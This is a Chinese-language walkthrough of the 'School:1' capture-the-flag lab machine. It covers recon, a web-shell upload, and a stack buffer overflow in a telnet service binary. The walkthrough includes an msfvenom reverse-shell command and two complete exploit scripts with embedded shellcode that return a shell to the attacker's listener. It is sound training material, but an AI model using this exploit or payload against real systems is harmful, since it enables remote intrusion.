School:1靶机
School:1靶機
正如大家所想的一樣,首先使用arp-scan來確定目標主機:
nmap -sV -Pn -A x.x.x.251 掃描端口
掃描目錄,發現database
訪問,下載sql
看到兩個用戶
登錄進去,查看源碼,發現文件,但是沒能利用
上傳shell
發現上傳成功
進行監聽
進入交互模式
進入home/fox目錄下,查看local.txt
ls -al 發現root
進入root查看win
將access.exe下載
將程序拖到ida里面分析,找到連接23端口所打印的字符串位置進行反編譯
int __stdcall ConnectionHandler(LPVOID lpThreadParameter)
{
? int result; // eax
? size_t v2; // eax
? char Dst; // [esp+18h] [ebp-410h]
? char *Dest; // [esp+400h] [ebp-28h]
? int v5; // [esp+404h] [ebp-24h]
? int v6; // [esp+408h] [ebp-20h]
? SOCKET s; // [esp+40Ch] [ebp-1Ch]
? void *v8; // [esp+410h] [ebp-18h]
? char *buf; // [esp+414h] [ebp-14h]
? int len; // [esp+418h] [ebp-10h]
? unsigned int i; // [esp+41Ch] [ebp-Ch]
?
? len = 4096;
? buf = (char *)malloc(0x1000u);
? v8 = malloc(0x400u);
? memset(&Dst, 0, 0x3E8u);
? memset(buf, 0, 0x1000u);
? s = (SOCKET)lpThreadParameter;
? result = send((SOCKET)lpThreadParameter, "Verification Code:\n", 28, 0);
? v6 = result;
? if ( result == -1 )
? {
? ? closesocket(s);
? ? result = 1;
? }
? else
? {
? ? while ( lpThreadParameter )
? ? {
? ? ? result = recv(s, buf, len, 0);
? ? ? v5 = result;
? ? ? if ( result > 0 )
? ? ? {
? ? ? ? Dest = (char *)malloc(0xB54u);
? ? ? ? memset(Dest, 0, 0xB54u);
? ? ? ? strncpy(Dest, buf, 0xB54u);
? ? ? ? for ( i = 0; ; ++i )
? ? ? ? {
? ? ? ? ? v2 = strlen(Dest);
? ? ? ? ? if ( v2 <= i )
? ? ? ? ? ? break;
? ? ? ? ? if ( Dest[i] == 77 )
? ? ? ? ? {
? ? ? ? ? ? Dest[i + 1] = 0;
? ? ? ? ? ? Dest[i] = -80;
? ? ? ? ? }
? ? ? ? ? if ( Dest[i] == 79 )
? ? ? ? ? {
? ? ? ? ? ? Dest[i + 1] = 0;
? ? ? ? ? ? Dest[i] = -80;
? ? ? ? ? }
? ? ? ? ? if ( Dest[i] == 95 )
? ? ? ? ? {
? ? ? ? ? ? Dest[i + 1] = 0;
? ? ? ? ? ? Dest[i] = -80;
? ? ? ? ? }
? ? ? ? ? if ( Dest[i] == 121 )
? ? ? ? ? {
? ? ? ? ? ? Dest[i + 1] = 0;
? ? ? ? ? ? Dest[i] = -80;
? ? ? ? ? }
? ? ? ? ? if ( Dest[i] == 126 )
? ? ? ? ? {
? ? ? ? ? ? Dest[i + 1] = 0;
? ? ? ? ? ? Dest[i] = -80;
? ? ? ? ? }
? ? ? ? ? if ( Dest[i] == 127 )
? ? ? ? ? {
? ? ? ? ? ? Dest[i + 1] = 0;
? ? ? ? ? ? Dest[i] = -80;
? ? ? ? ? }
? ? ? ? }
? ? ? ? f3(Dest);
? ? ? ? memset(Dest, 0, 0xB54u);
? ? ? ? closesocket(s);
? ? ? ? return 0;
? ? ? }
? ? ? if ( v6 == -1 )
? ? ? {
? ? ? ? closesocket(s);
? ? ? ? return 1;
? ? ? }
? ? }
? }
? return result;
}
這里會對輸入的字符串進行一些處理,然后經過一個f3函數,內容如下,使用strcpy函數將輸入的數據復制到另一個字符串中
char *__cdecl f3(char *Source)
{
? char Dest; // [esp+1Eh] [ebp-76Ah]
?
? return strcpy(&Dest, Source);
}
預留的1898(0x76A)個字節+保存ebp的4個字節,一共1902個字節就到返回地址,再找一個jmp esp語句的地址覆蓋原先的地址,然后填入shellcode,到時候執行完strcpy就會從棧頂執行shellcode代碼
先找到jmp esp語句,access.exe程序中未找到,但是dll動態鏈接庫中有許多,找到兩處:0x625012D0和0x625012DD,都可以
然后使用msf生成shellcode代碼(這個根據自己的ip進行修改),-b參數跟的是避免出現的字符,就是前面代碼中會處理輸入中的那些字符
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.75.13 LPORT=4444 -b '\x00\x0a\x4d\x4f\x5f\x79\x7e\x7f' -f python
最終代碼分為兩種,想運行簡單選用第二種
一種是用pwntools庫寫的
# coding:utf8
?
from pwn import ?*
?
conn = remote('192.168.75.18',23)
?
junk = b'a' * 1902
ret_addr=b'\xdd\x12\x50\x62'
?
buf = ?b""
buf += b"\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += b"\x76\x0e\x7d\xaf\x3e\xe6\x83\xee\xfc\xe2\xf4\x81\x47"
buf += b"\xbc\xe6\x7d\xaf\x5e\x6f\x98\x9e\xfe\x82\xf6\xff\x0e"
buf += b"\x6d\x2f\xa3\xb5\xb4\x69\x24\x4c\xce\x72\x18\x74\xc0"
buf += b"\x4c\x50\x92\xda\x1c\xd3\x3c\xca\x5d\x6e\xf1\xeb\x7c"
buf += b"\x68\xdc\x14\x2f\xf8\xb5\xb4\x6d\x24\x74\xda\xf6\xe3"
buf += b"\x2f\x9e\x9e\xe7\x3f\x37\x2c\x24\x67\xc6\x7c\x7c\xb5"
buf += b"\xaf\x65\x4c\x04\xaf\xf6\x9b\xb5\xe7\xab\x9e\xc1\x4a"
buf += b"\xbc\x60\x33\xe7\xba\x97\xde\x93\x8b\xac\x43\x1e\x46"
buf += b"\xd2\x1a\x93\x99\xf7\xb5\xbe\x59\xae\xed\x80\xf6\xa3"
buf += b"\x75\x6d\x25\xb3\x3f\x35\xf6\xab\xb5\xe7\xad\x26\x7a"
buf += b"\xc2\x59\xf4\x65\x87\x24\xf5\x6f\x19\x9d\xf0\x61\xbc"
buf += b"\xf6\xbd\xd5\x6b\x20\xc7\x0d\xd4\x7d\xaf\x56\x91\x0e"
buf += b"\x9d\x61\xb2\x15\xe3\x49\xc0\x7a\x50\xeb\x5e\xed\xae"
buf += b"\x3e\xe6\x54\x6b\x6a\xb6\x15\x86\xbe\x8d\x7d\x50\xeb"
buf += b"\xb6\x2d\xff\x6e\xa6\x2d\xef\x6e\x8e\x97\xa0\xe1\x06"
buf += b"\x82\x7a\xa9\x8c\x78\xc7\xfe\x4e\x36\xa2\x56\xe4\x7d"
buf += b"\xbe\x62\x6f\x9b\xc5\x2e\xb0\x2a\xc7\xa7\x43\x09\xce"
buf += b"\xc1\x33\xf8\x6f\x4a\xea\x82\xe1\x36\x93\x91\xc7\xce"
buf += b"\x53\xdf\xf9\xc1\x33\x15\xcc\x53\x82\x7d\x26\xdd\xb1"
buf += b"\x2a\xf8\x0f\x10\x17\xbd\x67\xb0\x9f\x52\x58\x21\x39"
buf += b"\x8b\x02\xe7\x7c\x22\x7a\xc2\x6d\x69\x3e\xa2\x29\xff"
buf += b"\x68\xb0\x2b\xe9\x68\xa8\x2b\xf9\x6d\xb0\x15\xd6\xf2"
buf += b"\xd9\xfb\x50\xeb\x6f\x9d\xe1\x68\xa0\x82\x9f\x56\xee"
buf += b"\xfa\xb2\x5e\x19\xa8\x14\xce\x53\xdf\xf9\x56\x40\xe8"
buf += b"\x12\xa3\x19\xa8\x93\x38\x9a\x77\x2f\xc5\x06\x08\xaa"
buf += b"\x85\xa1\x6e\xdd\x51\x8c\x7d\xfc\xc1\x33"
? ??
payload = b''
payload += junk
payload += ret_addr
#payload += nops
payload += buf
?
conn.sendline(payload)
一種是用python3的socket庫
#!/usr/bin/python3
import socket
buf=b''
target_ip='192.168.75.18'
target_port=23
recv_buf=4096
junk = b'a' * 1902
ret_addr=b'\xdd\x12\x50\x62'
#nops=b'\x90'*32 ? 可選
buf = ?b""
buf += b"\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += b"\x76\x0e\x7d\xaf\x3e\xe6\x83\xee\xfc\xe2\xf4\x81\x47"
buf += b"\xbc\xe6\x7d\xaf\x5e\x6f\x98\x9e\xfe\x82\xf6\xff\x0e"
buf += b"\x6d\x2f\xa3\xb5\xb4\x69\x24\x4c\xce\x72\x18\x74\xc0"
buf += b"\x4c\x50\x92\xda\x1c\xd3\x3c\xca\x5d\x6e\xf1\xeb\x7c"
buf += b"\x68\xdc\x14\x2f\xf8\xb5\xb4\x6d\x24\x74\xda\xf6\xe3"
buf += b"\x2f\x9e\x9e\xe7\x3f\x37\x2c\x24\x67\xc6\x7c\x7c\xb5"
buf += b"\xaf\x65\x4c\x04\xaf\xf6\x9b\xb5\xe7\xab\x9e\xc1\x4a"
buf += b"\xbc\x60\x33\xe7\xba\x97\xde\x93\x8b\xac\x43\x1e\x46"
buf += b"\xd2\x1a\x93\x99\xf7\xb5\xbe\x59\xae\xed\x80\xf6\xa3"
buf += b"\x75\x6d\x25\xb3\x3f\x35\xf6\xab\xb5\xe7\xad\x26\x7a"
buf += b"\xc2\x59\xf4\x65\x87\x24\xf5\x6f\x19\x9d\xf0\x61\xbc"
buf += b"\xf6\xbd\xd5\x6b\x20\xc7\x0d\xd4\x7d\xaf\x56\x91\x0e"
buf += b"\x9d\x61\xb2\x15\xe3\x49\xc0\x7a\x50\xeb\x5e\xed\xae"
buf += b"\x3e\xe6\x54\x6b\x6a\xb6\x15\x86\xbe\x8d\x7d\x50\xeb"
buf += b"\xb6\x2d\xff\x6e\xa6\x2d\xef\x6e\x8e\x97\xa0\xe1\x06"
buf += b"\x82\x7a\xa9\x8c\x78\xc7\xfe\x4e\x36\xa2\x56\xe4\x7d"
buf += b"\xbe\x62\x6f\x9b\xc5\x2e\xb0\x2a\xc7\xa7\x43\x09\xce"
buf += b"\xc1\x33\xf8\x6f\x4a\xea\x82\xe1\x36\x93\x91\xc7\xce"
buf += b"\x53\xdf\xf9\xc1\x33\x15\xcc\x53\x82\x7d\x26\xdd\xb1"
buf += b"\x2a\xf8\x0f\x10\x17\xbd\x67\xb0\x9f\x52\x58\x21\x39"
buf += b"\x8b\x02\xe7\x7c\x22\x7a\xc2\x6d\x69\x3e\xa2\x29\xff"
buf += b"\x68\xb0\x2b\xe9\x68\xa8\x2b\xf9\x6d\xb0\x15\xd6\xf2"
buf += b"\xd9\xfb\x50\xeb\x6f\x9d\xe1\x68\xa0\x82\x9f\x56\xee"
buf += b"\xfa\xb2\x5e\x19\xa8\x14\xce\x53\xdf\xf9\x56\x40\xe8"
buf += b"\x12\xa3\x19\xa8\x93\x38\x9a\x77\x2f\xc5\x06\x08\xaa"
buf += b"\x85\xa1\x6e\xdd\x51\x8c\x7d\xfc\xc1\x33"
? ??
payload = b''
payload += junk
payload += ret_addr
#payload += nops
payload += buf
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as clientSock:
? ? clientSock.connect((target_ip,target_port))
? ? data_from_srv = clientSock.recv(recv_buf)
? ? print(f"Reply --> {data_from_srv}")
? ? print(f"Sending --> {payload}")
? ? clientSock.sendall(payload)
本地開啟監聽4444端口,運行腳本,拿到最終flag
總結
以上是生活随笔為你收集整理的School:1靶机的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 机器学习入门(二)数据分析处理库pand
- 下一篇: python做游戏脚本被监测_一个监视C